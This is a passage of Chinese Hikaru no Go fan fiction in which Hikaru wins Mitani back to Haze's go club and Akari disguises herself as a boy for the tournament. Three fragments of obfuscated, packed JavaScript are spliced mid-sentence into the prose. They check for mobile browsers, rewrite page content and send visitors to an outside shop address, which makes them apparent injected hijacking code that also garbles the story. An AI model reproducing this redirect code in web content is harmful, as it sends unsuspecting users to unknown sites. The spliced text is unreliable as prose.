因为这个缘故,所以即使抛开他的棋力,他的存在也能让围棋部团结一心。 但是这家伙却怎么都不愿意亲自下棋。 今天也是,一提到要参赛,久原就摊开双手,故作无奈:“……让我当主将的话,说不定我又会犯病,倒在赛场上。第二天报纸头条就会变成《国中生意外丧命围棋大赛!安全教育势在必行!》的教育新闻喔。” 前·副将青森举手问:“可是,上回不是没问题吗?” “那是因为有进藤在啊!对他的好奇之魂让我重新拿起棋子!这次可不一定了!” 相泽不想再听他找借口,一把关上那本名册,凶神恶煞地把名册拍上他的脸:“总之你先给、我、参、赛!万一真的下不下去,我再跟你交换。” 面前这种不诚实的家伙,总喜欢用玩笑话搪塞自己真实的情感,遇到这种情况,他就恨不得给他来上一拳! 久原用微笑示意他冷静。 “嘛,嘛,没必要为了我做到这份上,相泽,你需要以主将的身份获得优胜来拿高中入学推荐吧?” “少给我扯东扯西!你以为我们都没看在眼里吗?你明明就很喜欢下棋!”相泽的脸上已经完全没了笑意,“你才是我们之中最强的!虽然不甘心,但是这是事实。高中入学推荐?我不需要你的施舍!靠这种办法拿到推荐有什么意思?!” 好心办坏事了呀,久原尴尬地挠了挠脸颊。 然而,组织语言却还是很困难。 “相泽……对不起,这是我的私心。我已经……决定不再下棋了。” 过去大家都尊重他的选择。也许对他来说,看棋就是比下棋更轻松,不至于身心备受煎熬。 但相泽已经不想陪他说谎了。 他不怒反笑:“你的私心?是啊,给围棋部换了这么好的场地是你的私心,花那么大代价把进藤挖来也很你的私心,雇那么多职业棋手跟他对弈也是你的私心,每天每天想着办法帮我们练棋也是你的私心,你私心这么多,就不能为自己任性一次吗?这算个狗屁的私心!要是你一直他妈找借口不下棋,就干脆给我退出围棋部!!” 此言一出,众人脸色都是一变。山崎幸倒吸一口凉气,轻轻拉住他的袖子。 “部长!你说得太过了!” 相泽用力拍上了桌面,“我是看不下去这家伙逃避的样子!别以为有了进藤,自己就可以正大光明地逃跑了!梦想不是用来托付的!是用来实现的!笨蛋!!” ……惹他生气了啊。 久原无言以对。他也不想这样,但只要坐在棋盘前他就会大脑一片空白,想象中美妙的棋步一个也下不出来,剩下的只有输、输、输,最后沦为二组垫底,那感觉实在太糟糕了,所以他才会从对弈的世界里落荒而逃。这是事实。然而,这并非他的本意,而是生理上的疾病。 与进藤光的那局棋在医生看来都是奇迹。现在他偶尔能和围棋部的朋友下棋,也是在承认了自己“能力不足”的基础上,象征性地过过棋瘾而已。 相泽也意识到自己说过了,抿了抿嘴。 “抱歉。” 他理解为什么久原会对进藤光着迷。确实,相泽从未见过像进藤那么厉害的小孩。相泽自己从会说话的时候就开始拿棋子,偏偏小学时贪玩,沉迷电子游戏,延误了学棋的进度,即使如此,在业余棋手里,直到在佐和良中学担任部长,他都是棋力最高的几人之一。只有进藤光的存在,让他第一次体会到了望尘莫及的绝望感。 对,望尘莫及。这个说法一点也不夸张。 回想起为数不多的几次进藤光在围棋部里的对局,相泽就感到一阵战栗,有时候连他都没能反应过来,进藤就已经占据了绝对优势。他甚至根本摸不清楚进藤的脑回路。那样娴熟的行棋手法和气势,根本就是另一个世界的人。 如果是为了这样的进藤,久原把全部精力都投入给他,似乎可以理解。 但他更想看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为你又在胡说八道!再让我听到一遍这句借口,我听一次揍你一次!听好了,我不管你遇到了什么问题,既然你能和进藤下,就一定可以和其他人下!我刚才也没有在开玩笑,如果你硬要拒绝担任主将,就给我现在立刻马上退部!!” 两人的对峙让山崎幸看得心惊胆战,却又有些感动。 她知道,相泽是在逼久原前辈直面内心。明明更需要这场比赛的人是相泽,但他还是执意推久原去当主将,甚至以退部相威胁。 她为这份过于含蓄的友情两眼泛起了泪光。 久原愣着看了相泽半天,明明上周还是自己冲着进藤光发火,今天就变成了自己被朝夕相处的好兄弟发火。围棋的世界,可真是个巨大的因果循环。 最后,他只能放弃挣扎般揉了揉脸。 “搞什么嘛。跟进藤一样不听人说话。” “……” 此时,偷偷在围栏外见证了一切的光松下了肩膀。 年轻真好啊。无论遇到什么问题,只要能说开,矛盾总能解决。没有那么多成年人独有的烦恼,也无需顾忌面子和立场,只要遵循真正的内心做出选择就好。那个能为进藤光时刻紧张的久原木子郎,又怎么会不愿意亲自拿起棋子呢? “看来他们的问题已经解决了。”光改变了进去劝架的计划,掉了个头,快步走向相反的目的地,“我们走,佐为。” 紫发幽灵还有些没反应过来,疑惑地跟了上去。 “咦?我们不是要去围棋部吗?” “是围棋部喔,不过是另一个围棋部。” “另一个围棋部?啊!难道是……” “嗯!虽然筒井前辈和明明一起应该能想办法拿到社团成立许可,但没了我,今年参赛估计会很严峻啊,叶濑中。”进藤光边走边低头思考了一会儿,他很是担心筒井的现状,“不知道他们这次能不能凑够报名的人手……” 由于进藤光这一世不在叶濑中学的缘故,目前叶濑中的围棋部应该相当萧条才对吧。筒井老实巴交的性格又不擅长拖别人进部,说实话,进藤光真的挺担心他们现在的境况。 于是15分钟后,光和佐为一起来到了久违的叶濑中学校园。 ●○●○ 59.Chapter 58. 回来吧,三谷 “好怀念啊……是叶濑的味道……” 进藤光对着街边的樱花树泪眼汪汪,几乎要蹭上去。他已经好久没来过这里了。倒也不是佐和良有什么不好,只是他始终对这个过去的母校抱有难以忘怀的感情。 在即将丢人现眼的瞬间,有人一把拽住了他的胳膊。 还未等光做出反应,青梅竹马藤崎明夹杂着欣喜和责备的问话声就迎面袭来。 “小光?你怎么会来这里?” “明明……”光见到是她,伸手打了个招呼,像在故意耍帅,“哟。” “这不是进藤老师吗?!” 两人的叙旧才正要开始,路过的筒井公宏便“恰好”发现了光的存在,激动不已地扶着眼镜、连跑带跳地飞奔至他和藤崎明跟前。 他居然还保持着“进藤老师”的称呼。那是当初他听说光能和塔矢行洋下让先棋时的巨大震惊导致的结果。 “‘老师’就别了,我们各论各的也太奇怪了,筒井前辈!”光笑嘻嘻地将右手漫无节奏地挥动着,“好像已经很久没见过你啦……虽然佐和良就在隔壁街区,却总是很难抽空过来,真抱歉。” “你才是啊,进藤老——呃,进藤君!我有经常听说关于你的流言,像是塔矢名人钦定的接班人、网络棋神sai的关门弟子、棋院百年一遇的围棋天才之类的,是真的吗?上次你给我的签名是不是该升级换代了?” 面对以崇拜的眼神直勾勾盯着自己的筒井,进藤光一时有点羞涩。传言可真是迅速,而且越传越离谱了,多半是久原那家伙在网上添油加醋地乱讲了些什么吧。 “这些都不重要啦。”轻咳了两声,他继续自己的主题,“夏季的中学围棋大赛就要到了,你们准备得如何?” 在进藤光的疑问脱口而出的刹那,筒井眼中的光芒猛地暗淡下来,神情也变得无精打采。 “唉……还是老问题,凑不够人手,我正在发愁呢。” 意料之中。光无奈地拍了拍脑门,问:“现在你们部除了你,有几个人啊?” “……” “嗯?” “……一个。” “哈?!”光在震惊之余差点暴走,“一个?!!你是说到现在为止围棋部里还只有你和明明两个人吗?!” “那个……对对对对对不起!进藤君!我不是故意的!”筒井委屈地辩解道,“但是招新时没有人愿意加入一个只有部长的冷门部,也是很正常的吧……藤崎小姐愿意过来已经让我感恩戴德了……她又是女生,没办法和我组队参赛……” 光顿时有点为筒井的智商感到着急。该怎么说呢,虽然已经预料到会出现这种情况,但是一个人都没招到也未免太出人意料了吧!哪怕是坑蒙拐骗也不至于打光棍啊! “三谷呢?金子呢?他们都是很有实力的家伙,实在不行找几个新人从头开始教也比凑不够人手强!” “三……谷?我不知道你在说什么,进藤君,但是从头开始教也太为难我了,像我这样的水平能不能把别人领进门都难说。”筒井心虚地摇摇头。 “筒井前辈你真是……给我支棱起来啦!”光唉声叹气地扶着自己的太阳穴。 “进藤君有什么好主意吗?我是真的很想参赛。” 看到筒井哀怨的小眼神,进藤光顿时觉得自己接了个巨大的锅。事到如今想要去找金子肯定来不及,而且金子也不能参加男生组的比赛,剩下的果然只有…… “我只帮你这一次喔!现在跟我一起去一个地方。” “一个地方?去做什么?”筒井满脸困惑。 “去找一个人。” “啊、等一下,进藤君……” 彼时,叶濑中附近不远处的街区,老修的地下围棋会所。 距离上次过来已有两个月的时间,这昏暗压抑的环境倒是一切照旧,包括空气里熟悉的香烟味。佐为再一次皱了皱眉。他果然还是没法喜欢上这里。就算知道了店主其实是个好人,这里的气氛也依旧令人窒息。 “进藤君……这个地方看起来有点不对劲啊……我们真的要去吗?”筒井的声音似乎在发抖。 “很快你就明白了。” 光带头往楼梯下走去,显得他反而比较像前辈,筒井只能畏手畏脚地跟着他走在黑暗的楼道里,最后飘着一脸“憋住呼吸也不想吸入这里的空气”的佐为。不过不同于光的坦然,第一次来到这里的筒井显得有些心绪不宁。 前台处,老修依旧戴着他那副脏兮兮的眼镜,正在忙着记录账本,听见他们的脚步声才抬起头,正好与光四目相对。 “你怎么又来了。这里不欢迎小鬼。” “我、我们都是国中生了。”筒井紧张地反驳道,似乎这样做可以让自己显得更从容。光不禁猜想他是误以为来到混混聚集的地下棋庄了。 “我们是来找人的。”光纠正道。 老修半疑惑半惊讶地抬起眼镜框。“找人?” 进藤光点点头,“三谷最近还来这里吗?” 听到三谷的名字,老修的手立即颤抖了一下,手中陈旧的钢笔也差点随之落在桌上。从进藤光的角度,他看不清对方的眼神,不过看他额上轻微渗出的汗珠可以猜到——他的心情非常复杂。 过了很久很久,老修终于沉重地垂下头。 “……三谷君已经两个多月没来过这里了,你找他有事吗?” 两个多月没来过……意思就是…… 即时早有心理准备,在亲耳听到这句话时,进藤光还是感到心脏被沉沉地击打了一下。 由于他的坐视不理,三谷在那次赌棋下输之后……就一路消沉下去了吗?他还以为那个赌棋大叔被赶走之后就不会再来了,难道老修还是换了个人戳穿三谷的小伎俩?又或者三谷只是在正常的赌棋里输了个精光? “这个白痴……!” 进藤光眼中的浑浊逐渐掩盖清明,一种莫名的无力感涌上心头。果然,要得到一些东西就一定会错失一些东西,纵使他竭尽全力想要做到完美,也不可能真的面面俱到。 “我原本可以阻止他的……” 哀嚎一声后,进藤光好像想起了什么似的转过身,说:“我们走,筒井前辈!” 完全搞不清楚状况的筒井被进藤光拽到门口,慌慌张张地扶好自己的眼镜,奇怪地看了看老修,又迷茫地看了看光。 “怎么了?突然就……啊,进藤君……” “对了,修老板,我想他以后还会来的。到了那个时候,你可要好好教育他一下才行喔!” 在老修诧异的目光下,光露出一个大大的微笑。 他决定去三谷姐姐打工的那家咖啡店找去三谷家试试看,然后,不论采取何种手段,必须把那个熊孩子绑去参加比赛!作为一个成熟稳重游刃有余的25岁新青年,他不允许任何后辈在围棋的路上走岔了! 半小时后,东京市郊区,一栋普通的联排出租公寓二楼走廊前。 “那个……进藤君?这里就是我家了。” 三谷的姐姐是一个梳着马尾辫、20来岁的年轻女性,由于家境并不算好,她一直在某家网络咖啡店勤工俭学。今天工作时遇到一个双色头的小孩和一个戴眼镜的中学生神情严肃地说要找三谷,她虽然有些不解,但还是热情地带着这俩孩子回到了家。 当她微笑着打开门时,正好看到屋里的三谷祐辉一脸淡漠地回头,朝进藤光露出了奇怪的表情。 “你怎么来了?” 还没等光开始自我介绍,有些不良气质的三谷就抢先一步脱口而出。 光刚欲开口,却被三谷姐姐不满的尖叫声打断了。 “祐辉!你又买了那些费钱的东西!”三谷姐姐生气地拎起桌上的CD,“今天发售的?还是初回限定版?真是的,这个爱好也差不多该收敛一点了吧?我们家可没有余钱让你买这些!” “和你没关系。钱是我自己赚的。”三谷看也不看她一眼,从地上站起身来,面对着进藤光,“怎么又是你,有病吗,还一路跟踪到别人家里来?” 三谷姐姐对于自己弟弟的行为和语气都非常恼火,不过她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“一次都不行!”三谷隐隐发怒道,“谁要玩围棋这种无聊的东西啊。再说了,我都不认识你,为什么你们会找到我家来?总不会告诉我是什么‘偶然’吧?” 他在怀疑。怀疑是不是老修的围棋会所里有人把他的信息泄露了出去。如果在这种时候提起老修,可能他会把当时的不开心的事又想起来,而更加不愿意帮忙。 光略带迟疑,还是开口确认道:“老修和你发生了什么吧。” 听到老修的名字,三谷果然面色大变,一定是自己丢脸的事被他们知道了,三谷的嘴角僵硬地抽搐着。 片刻过后,在他的右手一把锤向桌面的瞬间,光赶忙眼疾手快地抓紧他的手臂大喊:“三谷!” “你到底想干什么?!害我输得那么惨,你总算满意了?!哦,这小子没听我的劝告,所以落得这个下场?!行啊随便你,反正我再也不会下棋了!!围棋什么的,简直就是垃圾!” 三谷斜眼瞪着光,心道,这个家伙看着不壮、力气却大得有点可怕。 “三谷,别再说这种自暴自弃的话了。围棋不是你……” “少用那种自以为是的口吻教训我!你明明什么都不知道,就这么想耍我吗?随便窥视别人的心情对你来说很有趣吗?!”意识到自己对第二次见面的陌生人发火了,三谷微微抿起嘴唇,仿佛在吞下什么难以下咽的东西,“总之,我是不会参加那个比赛的。你们另请高明吧!” 筒井看得出来,这个孩子很痛苦。但是他不知道理由。 只有进藤光曾经见过他赌棋输掉的现场。而那个故意令他惨败的对手,还是老修专门找来的打假人。输掉的金钱是小事,但精神上的屈辱会让他一辈子忘不掉那天发生的一切。 迎上三谷咄咄逼人的姿态,光加重了手上的力度。 他死死攥着三谷的胳膊,不让他挣开。 “围棋只是个游戏,对于不感兴趣的人来说确实毫无意义,但是我很清楚,你并不是他们中的一员!世上有无数人想下出好棋,却没有足够的才能和运气。所以……我不允许你这样适合下棋的人走歪路。” ●○●○ 60.Chapter 59. 佐为vs三谷佑辉 进藤光低下头去,看到了墙角的杂物堆放处的折叠棋盘,从灰尘的厚度来看,已经很久没有用过了。 他想起刚刚在佐和良中目击的那场争吵。一时间,他明白了相泽指责久原的心情。 喜欢下棋的人,是没法忍受看着其他擅长下棋、却故意不下棋的人默默远离围棋世界的。就算这辈子他没机会和三谷一起在叶濑中成长,他也还是想拉三谷一把,他不想看到三谷的围棋才能就这样无声无息地熄灭。 他继续说:“哪怕只是业余爱好也没关系,你应该继续下棋,只要不是赌棋……” 听到“赌棋”两个字的时候,三谷看光的眼神更加冷冽了。 “你,真是个让人火大的双标混蛋。明明你自己就赌过。” 这句话触及了三谷的底线……但这正是进藤光的打算。 然后三谷看见双色头少年的脸上绽放出百味杂陈的笑容:“是啊,我本来就是个让人火大的双标混蛋。我以前也差点就走了歪路,说什么‘随便当个职业棋士、随便拿几个头衔’,还想为赚钱下棋,幸亏某个人及时阻拦了我。就像后来老修阻拦你一样。” “……” “老修可是一直把你当亲孙子在关心哦,不然谁会故意放走赚钱的生意啊?虽然你这家伙性格一点也不可爱就是了。” 三谷怔住了。 此时,三谷的直觉告诉自己,他从进藤光的身上察觉到了淡淡的愧疚和自豪。 应该只是错觉吧?不过那也只是这个瞬间而已。待到回过神来的下一个瞬间,他便没由来地血气上涌,心头燃起郁结的怒火,声调也不自觉地抬高八度:“你到底想干嘛?别以为学热血漫画说几句台词就能打动我!参加棋赛对我又没好处,我为什么要帮你?” “抱歉,说了一堆自以为是的话。”进藤光丝毫没有躲避三谷的怒火的意思,依旧没心没肺地傻笑着,“不过,那里面至少有一句是真心的。” “什么?”三谷诧异地扬起下巴。 “你是真的有才能哦,围棋的才能。” “……” “我看过你下棋,比很多天天学棋的人都下得好。就算以后不能走上职业棋手的道路,最起码我还是不希望看到你荒废它。”进藤光对着这个多年前的死对头伸出右手,虽然他已经预料到接下去会发生什么事,“所以,能不能请你稍微考虑一下,加入叶濑中学的围棋部呢?” 如他所料,三谷嫌弃地转过身去:“……谁要啊!说这些也不嫌恶心。” 是时候祭出杀手锏了! “我知道了。我们来下一局,如果你赢了,我就干脆果断地放弃;如果你输了,就得来围棋部帮忙。非常公平吧。”进藤光拍了拍双手,表示妥协。 身后的佐为举起袖子抗议:“小光,久原说过你这周都不可以下棋的!” “我不下啊,下棋的是你,不是我,这样不就没问题了。” “这是在钻漏洞吧……” “没事的,以佐为的实力,在我开始觉得累之前就能搞定他,对不对?” 光过于开朗的笑容让三谷误以为自己受到了轻视。 “喂,你是在炫耀自己很厉害吗?” 三谷头上冒出一个大大的“井”字。 “别这么说嘛,三谷。这样吧,要是你赢了的话,晚上我连续请你吃一周的拉面!续面海苔叉烧片随你加!” 他居然还拿拉面诱惑人。又不是全世界的人都喜欢吃拉面。 “谁要吃啊!要吃也不可能和你一起吃!”无奈的三谷突然瞟到了桌上躺着的CD盒,心中暗笑一声,眼冒金光地转回身去盯着光的脸,“如果我赢了,你就送我一张最新的签名版CD,全世界限定1000枚的那种。” 那张CD的实际价值接近三万日元,进藤光肯定不知道。 三谷对自己的实力有一定的信心。别的不说,叶濑中学围棋部能落魄到四处拉人参赛的地步,自然不可能有多么厉害的角色,两个月前进藤光在地下会所的那局棋多半只是侥幸。 再说了,要是赢了就能白白赚件宝贝回家,真真是天上掉馅饼的好事。想到这里,三谷嘴角的弧度微微增大。 “那就一言为定了。”没想到光一口答应下来。 他居然这么有自信。三谷有点不知道自己的判断是否正确了。还是说,这个小子只是不知天高地厚而已? 佐为深深地叹了口气,他还没想好要怎么应战,可是,这局棋的结果根本不用猜也一清二楚。 三谷搬来了墙角里布满灰尘的棋盘,摆在光面前,光赶忙伸手把表面擦干净。两个人气势汹汹地坐下来,三谷的姐姐抱怨着离开了房间,于是,观战的筒井反倒成为了第一紧张的人。 “猜先?” “废话。” 三谷白了光一眼,手已经摸到了棋罐里。 佐为端坐在进藤光的身侧,全神贯注地凝视着棋盘,马上进入研究状态。这一次,他要让三谷看到怎样的一局棋呢? “请多指教啦,三谷君~” 三谷怎么看他的对手怎么不爽,左眼都快眯成一条缝了:“……请多指教。” 原本,三谷觉得自己面对同龄人,就算不占绝对优势、起码也不至于输得太惨,但是随着执黑的进藤光令人难以置信的迅速展开布局,他忽然发现——自己好像莫名其妙地总是落后对方一步。 不大,也不小,就那么一点点。 但始终都有一点点。就像是故意的一样。 短时间内这些落后并不足以构成威胁,然而这样下去终究不是办法。 三谷抬起头注视着对手。光的全部注意力都集中在棋盘上,并没有在意三谷的视线聚焦于自己身上。 摇了摇头,三谷咬牙继续落子。 他总算是看明白了,对面的混蛋是在给自己设局呢。故意把差距设定在几目之内,让他产生跳起来就能够到的错觉,但怎么都追不上,这样到了末盘……他就不得不想别的办法了。比如禁忌的那一手。 不到中盘末尾,他已处于明显劣势,尽管只是差了几目,一种源于内心深处的无力感却像雾气一样蔓延开来,胸口只觉凉意渗骨,而额上却是大汗淋漓。 怎么办…… 偷偷瞄了喵对面的进藤光,三谷却发现他并没有露出飘飘然的胜者姿态,反而比开局时还要认真地看着棋盘的中腹地带。 三谷脑海中快速闪过一个念头。 ——真的要作弊? 不行,差距虽小,但对方也不像是会算错官子的人,尤其是前面还刻意维持着稳定的几目之差,说不定就是在等他下手,当场抓个现行。 万一被发现…… 不。即使被发现,其实自己也损失不了什么,大不了抵赖到底,他也拿自己没辙。反正他是没打算认输的,绝对不要! 三谷攥紧手心,又昂起头,目光似乎想要穿透对方。 连招呼都没打一个就奇怪地找上门来,还一口一个“三谷”叫得那么亲切,更奇怪的是,竟然还从老修那里打听到了自己……到底他是怎么摸到这条线索的?他可不记得自己的围棋才能有这么值得惦记。 赌棋赌到血本无归……这是一件三谷发誓不会说出口的丢脸事,他听见这件事从一个陌生人的嘴里说出来,总觉得非常痛苦和恶心。 揭人伤疤就是如此残忍。 偏偏对方还对此毫无自觉。 ——围棋只是个游戏,对于不感兴趣的人来说确实毫无意义,但是我很清楚,你并不是他们中的一员!世上有无数人想下出好棋,却没有足够的才能和运气。所以……我不允许你这样适合下棋的人走歪路。 什么嘛,那副居高临下的模样,看着就叫人不爽到极点! 三谷越想越恼火。 什么才能,什么运气,全都是胡说八道……他三谷祐辉怎么可能会真心喜欢围棋?围棋只不过是用来打发时间和赚钱的工具,至于其他,跟他半点关系都没有。 但,一个发自内心喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687653|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围棋的人此时此刻就坐在他的面前,在和他对弈着。 三谷并不是有多在乎输赢,也许涉及钱的时候是另外一种感觉,可是当对手怀着对围棋满满的诚挚坐在面前时,三谷却无法再耍小手段了。 他想起了那天在老修的围棋会所里输得一干二净,面无表情地冲出门外时,老修在身后叫着他的名字的场景。那时他心中只有悔恨和暴怒,恨不得再也不要见到身后的人,仿佛只是想一想那耻辱就会增加百倍。 为什么老修要这样做? 三谷拒绝承认错的是自己。为了赚点零花钱,在赌棋的时候出老千什么的,这种事不是很正常吗?大人们也干,打牌和麻将也一样。身为地下围棋会所老板的老修不可能没有见过那样的情况,除去三谷,多的是人在赌棋时耍手段,那他为什么只针对自己一个人? 为什么这个进藤,这个被塔矢亮认作劲敌的进藤,会只针对自己一个人? “进藤。” 他无意识地说出了口。 “啊,你记住我的名字啦?”进藤光高兴地指指自己的脸。 一看就是个傻瓜。 “你的确是个令人火大的混蛋。”三谷低下头去,望着自己的脚踝。半晌,他长长地呼出一口气,说,“是我输了。” 1目半的差距,一直持续到终盘。 他无力回天。但他最终还是捏紧了手心的棋子,没有放到棋盘上鱼目混珠。或许是那一刻他意识到对方的实力太强、作弊一两目也无力回天,或许是他单纯想给对方一个台阶下,或许是……他下棋下得太入迷了,忘记了要作弊这件事。谁知道呢。 “好耶!那么按照约定,三谷要加入围棋部!”进藤光喜形于色地竖起食指,“不过,你认输得比我想象中的还要干脆诶,已经不纠结了吗?” 这是什么意思啊。他像那种死不肯认输的人吗?三谷有点不开心地皱了皱眉。 “我……可以问你一个问题吗,进藤?” “嗯?”光眨巴眨巴眼睛,心里浮现出无数种可能性,“什么问题?” “喜欢围棋的傻瓜,会天真到想让别人也一样喜欢围棋吗?” 这个问题却出乎光的意料,本以为三谷会问一个更加具象一点的问题的。不过他很快反应过来,笑嘻嘻地点头道:“那还用说嘛!因为我就是围棋傻瓜呀!傻瓜是会传染的!” “哪有你这样自己说自己是傻瓜的傻瓜……”三谷肩上的力气好像突然被抽空了,从空气里传来支离破碎的释怀,他沉默了一会儿,拍拍裤腿站起来,“不过,我承认你棋确实下得不差。” “你就没什么其他的话想说了?”光试探地扬起半边眉毛。 三谷姐姐正好端来自己做的油炸小点心,打开房门的时候差点和三谷撞上,三谷的目光移动到那盘点心上,又移动回进藤光身上。 “有。你可以不要离我这么近吗,我可不想变成傻瓜。” “喂……你怕被我传染呀?过来过来过来,我偏要传染给你——” “滚远一点!先前说的拉面,要不你还是请我吃吧。” “那怎么可能!你输了耶!” “我姐姐做了点心招待你,相对的你也应该有点表示,这不是理所当然的吗。” “想都别想!” “进藤君,三谷君,你们别吵了……”最后一句是筒井弱弱的劝架。 光的笑声在佐为看来十分纯粹,他也感受到了那份为友人解开心结的快乐。刚才,佐为确实是在故意制造与三谷之间微弱的目数差,因为他在等待,等三谷做出抉择:制造了“认真下棋”和“耍诈”的分叉路口的人是佐为,但最终决定走向哪边的人,是三谷自己。 见证他的选择,然后温柔地守护他们的前路,也是围棋指导教师重要的工作呢。 这边,光大口大口地吃着超大份拉面,又开始为新的问题犯愁了。三谷是搞定了,但是要参加北区中学围棋大赛还需要一个人,该怎么办呢? ●○●○ 61.Chapter 60. 美少年藤崎明太郎 1999年6月,第四回夏季北区中学围棋大赛举办的这天,天气格外令人舒心,蔚蓝的高空隐约传来飞机驶过的声音,这熟悉的场景让光不禁用手挡住额头上的阳光,抬起头仰望着无尽苍穹。 夏天是真的来了啊…… 光漫不经心地整理着短袖制服上的纽扣,做足外貌功课后,才踏入海王中学华丽的校门。这里的所有精英学生都西装革履的,不收拾好自己根本不好意思踏进门。就在门里不远处,佐和良中学的队伍发现了他的存在,正在清点人数的久原木子郎首先“和蔼”地微笑着冲他打招呼。 “你总算来啦,进藤。从今天开始你的禁赛就解除了,你可以下棋了。” 他还是没忘记自己围棋教练的人设。 奇怪的是,今天久原的脖子上没有挂相机;更奇怪的是,这家伙脸颊上贴着厚厚的纱布——显然是被相泽那一拳揍得尚未恢复。 进藤光一愣,随即明白了什么似的笑起来。 “噗。这‘妆容’和你还蛮配的。” “进藤光!你怎么可以嘲笑我?落井下石!忘恩负义!!” 是啊,这家伙今天终于放下了记者的架子,决定以主将身份参赛了。 佐和良中学参加比赛的六人以及替补二人、一共八人的队伍,在各校中既不算多也不算少,但凭着以往的战绩,以及“职业级院生进藤光”的大名,倒也招来了许多人好奇的打探。 比起众人兴致勃勃热血沸腾的状态,进藤光独自一人离开休息区的行为显得异常突兀。 “奇怪,进藤君去做什么了?他好像对叶濑中很感兴趣的样子。” 原本打算趁比赛还没开始的机会找他对弈热热身的山崎幸盯着光远去的背影,有些惋惜。 这时担任三将的青森撇撇嘴:“我看他根本就是身在曹营心在汉嘛。” “Never mind。进藤又不是参赛选手,你们那么在意他干嘛。我们最终的目标一直都只有一个,就是获胜。”久原依旧冷静地翻看着自己手中的秩序册,“别忘了昨天强调的战术喔,对手已经被我们吃透了,只要稳扎稳打,就一定能赢!” “是!主将!!” 众人回应得整齐划一。在久原决定参赛后,他们原本有些分散的凝聚力也终于集结为一缕,朝着特定的目标一齐努力了。 都是多亏了相泽那一记友情破颜拳啊。 “好了,快去做热身准备,海王中的实力你们也是知道的,万一掉以轻心,后果绝对不堪设想。山崎,女生组那边就你负责照看一下了。”久原一边指挥他们落座,一边转向山崎幸。 幸有些小激动地连连点头:“是,保证完成任务!” 当此处的佐和良队如火如荼地下着快棋练手之时,进藤光和佐为一起走到了另外的地方,一个无比冷清寂寥的角落。穿着黑色制服的两人正围坐在一组棋桌边研究战术,其中一人看到进藤光的身影后,惊讶地瞪大了眼。 “等一下!”三谷眯眼看着他,又反复来回打量着他身上的制服,嘲讽似的翘起嘴角,“那身校服……是佐和良中学的吧?搞了半天,原来你不是叶濑中的人吗?” 进藤光一时无言以对,干脆做出一副置之死地而后生的模样:“是啊,我本来就是佐和良的,有问题?” “当然有。之前拉我入部的时候口口声声说要帮叶濑中的人不是你吗?现在是什么情况,能不能说明一下,叛徒先生。” 面无表情的三谷吊儿郎当地拖长尾音,让光觉得他很欠揍。不过,他欠揍也不是一天两天的事情了。 “我不要。” “啊?” “说明起来太麻烦了。我可从来没说过自己是叶濑中的学生啊,是你定势思维的错。”进藤光摊开双手,笑眯眯地和三谷对视起来,好像在说“我凭什么要告诉你”。 三谷越来越火大。这个家伙…… “你一个佐和良的插手叶濑干什么?为自己制造竞争对手吗?” “对手当然是越多越好了。”光说得十分理所当然,“拜托你们,在遇到佐和良之前先不要输哦。” “小、小光……” 突然,有人在用弱弱的声音叫他。 进藤光回过头,正好对上那人不好意思的目光,那是一个看起来有些俊美的“少年”,个子不算高,穿着叶濑中学的黑色西装制服,但是似乎一直在用诡异的方式打量四周,像是怕被人认出来。 佐为若有所悟地抬起头:“啊……你是……” “这身打扮真的合适吗?” 少年似乎有些扭捏。 镜头转回数日前。 进藤光和筒井公宏一起在一家叶濑中学附近的围棋会所里打埋伏,希望能够再找到一个会下围棋的初中生,要是本校的就更好了,当然两者的几率都约等于零。 关于找个其他人顶替的事,他并不是没有想过,只是自己并不曾在围棋班学过棋,也不认识什么能帮得上忙的小学生;要自己上场那就更加不可能,再怎么说他都小有名气了,想在众目睽睽之下混进叶濑中的队伍里也未免太异想天开;加贺也没空,这次他要去参加一场将棋比赛,根本没有时间来管他们围棋部的事…… “唉。”进藤光看着对面走过的一群放学回家的小学生,心中升起一丝怅惘,“还差一个人……” “什么还差一个人呢,小光?” 然后就是那家伙奇迹般地出现了,藤崎明,来得恰到好处,仿佛就是为了这一刻而诞生的。 “啊!” 进藤光,心生一计。 听他说完这个过于夸张的计划,藤崎明吓得连忙摆手。 “诶?不行不行不行!女扮男装什么的,肯定会暴露的!再说我是女生啊,下围棋怎么可能下得过你们!我绝对绝对会输的!” 光撇撇嘴,反对道:“围棋是脑力运动,数学女生都能学得和男生一样好,围棋凭什么不行?” 职业棋手里确实没多少女生,但光始终认为那不意味着女生就不适合下棋——她们只是,出于社会的规训,一直不被鼓励从事纯粹竞技类的工作。没有前途就没人学,没人学就没有知名的女棋手,没知名的女棋手就反过来再盖章“女生不适合下棋”的谬论,仅此而已。 “可是!女子组平均实力就是弱很多啊!” 藤崎明可不像光这么有自信,毕竟她学棋才半年,连一次正经的比赛都没参加过!和光下让九子棋也总是输! 光却说:“那取决于你,不是吗。” “诶?” “在这场大赛里赢了男棋手的话,你就能证明女生也可以下得和男生一样好——不,甚至更好。” 这番话让藤崎明眼中亮晶晶的部分开始闪烁。她似乎被打动了。 她也可以……和小光站在同一个地方…… 她也可以像男生们一样下棋…… 像小光一样,在棋盘上开拓自己的天地……吗? 于是,镜头拉回现在的瞬间。 围棋大赛前的赛场上。藤崎明特意化了遮掩原貌的暗色妆,又找人借了合身的男子制服,把头发高高绑起来塞进帽子里,看上去还颇有些大正时代美少年的气质。 